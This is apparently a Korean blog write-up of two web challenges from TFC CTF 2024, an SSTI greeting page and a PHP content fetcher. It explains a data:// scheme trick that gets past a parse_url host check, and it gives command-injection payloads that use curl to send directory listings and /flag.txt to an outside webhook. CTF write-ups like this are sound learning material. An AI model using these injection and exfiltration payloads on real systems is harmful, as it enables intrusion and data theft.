[TFC CTF 2024] write-up

     
     
     
    전날에 CCE 예선전 참가하고 다음날 잠깐 했는데.. 집중력 떨어져서 많이는 못풀고 두개 풀었습니당..
    해외 CTF는 확실히 블랙박스가 많아서 뭐부터 해야하는지 우왕좌왕 하게 되는거같아욥
    내년에는 더 많이 풀기를..
     


    1. [WEB] GREETINS

    welcome 문제. username 입력하면 출력하는 게 다여서, SSTI말고는 없을 거 같았음

    Express라서 node 관련으로 했고 아래와 같이 품

     
     


    2. [WEB] SAFE_CONTENT

     
     
    content를 가져온다네요

     
    src는 아래와 같음

    parse_url로 host를 검사하니까 우회는 쉬울 듯
    내용을 기반으로 command를 실행하는 것으로 보아 command injection가능
     
    webhook response는 flag 위치부터 찾기 위해 아래처럼 함

    1; curl https://{webhook}?c=`ls . | base64` ; echo 1

     
     
    문제는 host를 우회하기가 생각보다 어려웠음.. 그러다 data scheme을 사용한 블로그 글을 보게 됨.. 문제 레퍼런스가 이 게시물인가 싶을정도로 상황이 비슷함
    https://medium.com/@themiddleblue/php-ssrf-techniques-9d422cb28d51

    PHP SSRF Techniques

    How to bypass filter_var(), preg_match() and parse_url()

    medium.com

     
    위에서 한대로 돌려보니까 잘 됨

     
    data scheme의 뒷부분은 text/plain 이런 식으로 media type을 나타내는데, 이 부분을 파싱할 때 일반적인 scheme으로 파싱하다보니 localhost/plain으로 해도 잘 된다는 것...
    file_get_contents할 때 문제가 있을 줄 았았는데, 위의 사진처럼 잘 됨
     
    flag 파일 위치는 처음 payload처럼 찾았고, /flag.txt에 있었음
     
    최종 payload

    1; curl -k http:/{webhook} -d @"/flag.txt"; echo 1

     
    위의 걸 두 번 base64해서 넣으면

    data://localhost/plain;base64,{base64 code}

     
    이렇게 보내면 flag파일이 옵니당

     

    댓글